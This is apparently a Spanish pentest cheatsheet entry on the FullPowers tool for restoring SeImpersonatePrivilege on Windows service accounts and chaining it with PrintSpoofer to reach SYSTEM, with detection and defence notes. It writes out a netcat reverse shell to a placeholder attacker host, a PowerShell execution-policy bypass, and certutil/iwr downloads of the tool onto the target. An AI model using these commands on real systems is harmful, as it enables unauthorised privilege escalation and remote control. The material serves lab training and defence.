FullPowers (restore token privileges)
Arsenal completo de comandos en la cheatsheetFullPowers recupera los privilegios por defecto de una cuenta de servicio cuyo token llega recortado. Cuentas como LOCAL SERVICE o NETWORK SERVICE tienen asignado SeImpersonatePrivilege por diseño, pero cuando un proceso arranca fuera de su contexto habitual (por ejemplo, una webshell lanzada por Apache que corre como LOCAL SERVICE) Windows le entrega un token con un subconjunto reducido de privilegios. Un whoami /priv en esa shell solo muestra unos pocos (SeChangeNotifyPrivilege, SeCreateGlobalPrivilege…) y, en particular, falta SeImpersonatePrivilege, que es justo el que habilita las técnicas tipo Potato.
FullPowers fuerza la creación de una tarea programada con la cuenta completa y devuelve un proceso con todos los privilegios que la cuenta debería tener:
whoami /priv # antes: falta SeImpersonatePrivilege
.\FullPowers.exe # abre un cmd con los privilegios restaurados
.\FullPowers.exe -c "C:\Windows\Temp\nc.exe <lhost> <lport> -e cmd" # reverse shell directa
.\FullPowers.exe -c "powershell -ep bypass" # devolver una PowerShell con el token completo
.\FullPowers.exe -z -c "cmd /c whoami /priv" # -z: usar WMI si el Programador de tareas esta bloqueadoDescargar el binario al objetivo:
iwr http://<lhost>/FullPowers.exe -OutFile C:\Windows\Temp\FullPowers.exe
certutil -urlcache -f http://<lhost>/FullPowers.exe C:\Windows\Temp\FullPowers.exeLa salida confirma el proceso: crea un dummy thread, una tarea programada y termina con Got new token! Privilege count: 7 y CreateProcessAsUser() OK, abriendo una nueva shell. Un whoami /priv posterior ya muestra SeImpersonatePrivilege = Enabled.
Por qué importa. Es el paso que desbloquea la escalada: sin SeImpersonatePrivilege, PrintSpoofer o el resto de la familia Potato no tienen nada que abusar. FullPowers no escala por sí mismo a SYSTEM; restaura el privilegio que luego explota la técnica Potato. La cadena típica es: webshell como LOCAL SERVICE → FullPowers → PrintSpoofer → SYSTEM.
Matiz. Solo aplica a cuentas de servicio que ya deberían tener esos privilegios (LOCAL SERVICE, NETWORK SERVICE); no concede nada nuevo a un usuario normal. Depende del Programador de tareas.
Cómo detectarlo. FullPowers restaura el privilegio creando una tarea programada con la cuenta completa, así que la firma es un Event ID 4698 (se creó una tarea programada) efímero desde un proceso web (w3wp/httpd) corriendo como LOCAL SERVICE/NETWORK SERVICE, algo muy anómalo. Le sigue el patrón Potato habitual: un hijo con SeImpersonatePrivilege restaurado y luego SYSTEM (ver SeImpersonate y potatoes). El binario FullPowers.exe recién soltado lo marca el EDR/AV. La cadena 4698 desde una cuenta de servicio → proceso con privilegios ampliados es la señal.
Defensa. Minimizar los servicios que corren como cuentas con SeImpersonatePrivilege, aislar las aplicaciones web en cuentas dedicadas con privilegios mínimos y vigilar la creación de tareas programadas anómalas.
Máquinas donde se aplica
- SquidProving Grounds Practice